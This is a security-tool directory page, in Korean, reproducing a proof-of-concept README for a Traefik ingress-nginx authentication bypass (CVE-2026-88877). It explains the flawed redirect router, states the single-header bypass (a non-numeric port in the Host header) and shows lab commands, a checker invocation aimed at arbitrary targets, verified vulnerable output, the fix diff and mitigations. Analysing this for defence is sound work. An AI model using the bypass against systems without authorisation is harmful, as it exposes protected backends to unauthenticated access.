Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-88877-PoC-pwnVader — CVE-2026-88877에 대한 개념 증명 및 재현 가능한 실습 환경으로, from-to-www-redirect를 통한 Traefik ingress-nginx 인증 우회 취약점이며, 읽기 전용 검사 모드를 포함합니다. | Kitploit
도구/GitHubGitHub/pwnvader/cve-2026-88877-poc-pwnvader
Container SecurityVulnerability AnalysisExploitationWeb SecurityPenetration TestingCloud SecurityAuthenticationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
pwnvader/cve-2026-88877-poc-pwnvader

CVE-2026-88877-PoC-pwnVader

CVE-2026-88877에 대한 개념 증명 및 재현 가능한 실습 환경으로, from-to-www-redirect를 통한 Traefik ingress-nginx 인증 우회 취약점이며, 읽기 전용 검사 모드를 포함합니다.

저장소 보기
4일 전아직 검토되지 않음

CVE-2026-88877 — Traefik v3.7.0–v3.7.11 — from-to-www-redirect를 통한 인증 우회

작성자: pwnVader · 라이선스: MIT (저장소 루트)

구성 요소Traefik (Kubernetes ingress-nginx 프로바이더, providers.kubernetesingressnginx)
유형CWE-639 — 사용자 제어 키를 통한 인가 우회
영향 받는 버전Traefik >= v3.7.0, <= v3.7.11 (v2 및 < v3.7.0은 영향 받지 않음)
수정 버전v3.7.12
CVECVE-2026-88877 — CVSS 4.0 9.3 (Critical, 벤더 권고 기준) · CVSS 3.1 9.8 (일부 취약점 데이터베이스에서 공개한 대로)
공식 권고GHSA-cjr6-pf59-jq29 (Traefik 저장소 권고)
PoCpoc.sh · lab/

공개 상태. 이 취약점은 Traefik 프로젝트에 의해 공개적으로 공개되었으며 v3.7.12에서 수정되었습니다. 이 문서는 재현 가능한 랩을 포함한 독립적인 기술 분석이며 — 원래 발견한 것이 아닙니다. 이 취약점은 위에 나열된 벤더 권고를 통해 보고/공개되었습니다 (VulnCheck 권고도 참조하십시오). 명시적인 승인 없이 이 자료를 시스템에 사용하지 마십시오.

GHSA 식별자. 공식 저장소 권고는 GHSA-cjr6-pf59-jq29입니다. GitHub의 일반 권고 데이터베이스에도 동일한 문제에 대한 별도의 레코드인 GHSA-9rch-gvf7-hrfc가 있습니다. 취약점을 인용할 때는 저장소 권고를 우선적으로 사용하십시오.

요약

Ingress가 인증 어노테이션(예: nginx.ingress.kubernetes.io/auth-type: basic)과 nginx.ingress.kubernetes.io/from-to-www-redirect: "true"를 모두 포함할 때, Traefik의 ingress-nginx 프로바이더는 호스트만 일치하고 생성된 RedirectRegex 미들웨어만 포함하며 여전히 보호된 백엔드를 가리키는 추가 "형제(sibling)" 라우터를 생성합니다:

root@kitploit:~
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
    RedirectRegex: &dynamic.RedirectRegex{
        Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
        Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
        StatusCode:  new(http.StatusPermanentRedirect), // 308
    },
}

conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
    Rule:        f.ExtraRouterRule,        // Host("www.example.com")
    Middlewares: []string{mwName},         // ONLY the redirect middleware
    Service:     rt.Service,               // <-- the protected backend
}

RedirectRegex는 터미널 핸들러가 아닙니다: 정규식이 일치하지 않으면 요청은 다음 핸들러로 전달되고 최종적으로 백엔드로 프록시됩니다. 정규식은 숫자 포트 ((:[0-9]+)?)만 허용하는 반면, Traefik의 Host() 매처는 net.SplitHostPort를 통해 authority를 정규화합니다. 따라서 Host 헤더에 숫자가 아니거나 빈 포트가 있는 요청은:

  1. 여전히 형제 라우터(Host("www.example.com"))와 일치하지만,
  2. 리다이렉트 정규식(www.example.com:x)과는 일치하지 않으므로 리다이렉트되지 않고,
  3. Ingress의 어노테이션에서 파생된 미들웨어(BasicAuth, 소스 IP 허용 목록 등)가 하나도 적용되지 않은 채 보호된 백엔드로 프록시됩니다.

인증되지 않은 단일 요청 — Host: www.example.com:x — 이 인증을 요구하는 백엔드에 도달합니다. 반환되는 HTTP 상태는 백엔드 자체에 따라 다릅니다: 이 랩에서는 traefik/whoami 백엔드가 200을 응답하지만, 보안과 관련된 사실은 특정 상태 코드가 아니라 요청이 인증 없이 백엔드에 도달했다는 점입니다.

전제 조건

  • ingress-nginx 프로바이더가 활성화된 상태로 실행 중인 Traefik v3.7.0–v3.7.11 (--providers.kubernetesingressnginx=true).
  • 인증/허용 목록 어노테이션과 nginx.ingress.kubernetes.io/from-to-www-redirect: "true"를 결합한 Ingress로, www. 대응 호스트가 없는 호스트를 대상으로 함 (그렇지 않으면 형제 라우터가 생성되지 않음).

랩 (검증됨)

root@kitploit:~
# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh                     # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab                    # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh                   # tear down

poc.sh check는 임의의 후보 배포를 대상으로 지정할 수도 있습니다:

root@kitploit:~
./poc.sh check --url https://target.example --host target.example --verbose

검증된 출력 (이 랩, Traefik v3.7.10)

root@kitploit:~
[1] Protected host (Host: example.local) — authentication must be enforced
    HTTP 401
  [PASS] auth middleware enforced (HTTP 401)

[2] www host (Host: www.example.local) — the redirect router
    HTTP 308
  [PASS] redirect router responds (HTTP 308)

[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
    HTTP 200
    > Hostname: whoami-ff77f998d-25f6n
    > RemoteAddr: 10.244.0.8:57586
    > X-Forwarded-Server: traefik-7f76f4c58d-5knfz

== RESULT ==
  [PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)

랩에서 사용된 백엔드(traefik/whoami)는 요청을 에코하여, 요청이 Authorization 헤더 없이 그리고 인증 미들웨어가 적용되지 않은 채 보호된 서비스에 도달했음을 증명합니다. 표시된 상태 코드(200)는 이 특정 백엔드가 반환하는 값입니다. 다른 백엔드의 경우 우회가 401/403이 아니거나 리다이렉트가 아닌 다른 응답으로 나타날 수 있습니다.

수정 사항 (v3.7.12)

root@kitploit:~
-            Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+            // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+            Regex:       `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
-        Service:       rt.Service,
+        // The redirect router does not carry the location middlewares (auth included),
+        // so it must never reach the backend.
+        Service:       unavailableServiceName,

이제 리다이렉트 라우터는 내부 unavailable 서비스를 가리키므로, 요청이 정규식을 빠져나가더라도 보호된 백엔드에 절대 도달할 수 없습니다.

완화 조치

Traefik v3.7.12 이상으로 업데이트하십시오. 업데이트할 수 없는 설치의 경우, 인증 또는 허용 목록을 결합한 모든 Ingress에서 nginx.ingress.kubernetes.io/from-to-www-redirect를 일시적으로 제거하고, 접근 제어 미들웨어를 유지하는 구성(예: 미들웨어를 연결한 명시적인 Traefik RedirectScheme/RedirectRegex CRD)으로 리다이렉트를 구현하십시오. 심층 방어: 백엔드/업스트림에서도 인증을 적용하십시오.

참고 자료

  • 공식 Traefik 권고 (주 자료): https://github.com/traefik/traefik/security/advisories/GHSA-cjr6-pf59-jq29
  • GitHub 일반 권고 데이터베이스 (동일 문제, 별도 레코드): GHSA-9rch-gvf7-hrfc
  • NVD — CVE-2026-88877: https://nvd.nist.gov/vuln/detail/CVE-2026-88877
  • VulnCheck 권고: https://www.vulncheck.com/advisories/traefik-3.7.0-authentication-bypass-via-from-to-www-redirect
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-88877
  • Traefik 보안 결정 (헤더/미들웨어 모델): https://doc.traefik.io/traefik/contributing/security-decisions/

면책 조항

승인된 보안 테스트 전용입니다. 랩은 로컬이며 자체 포함되어 있습니다. check 모드는 읽기 전용(세 번의 GET 요청)이며, 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에만 사용해야 합니다.

도구 다운로드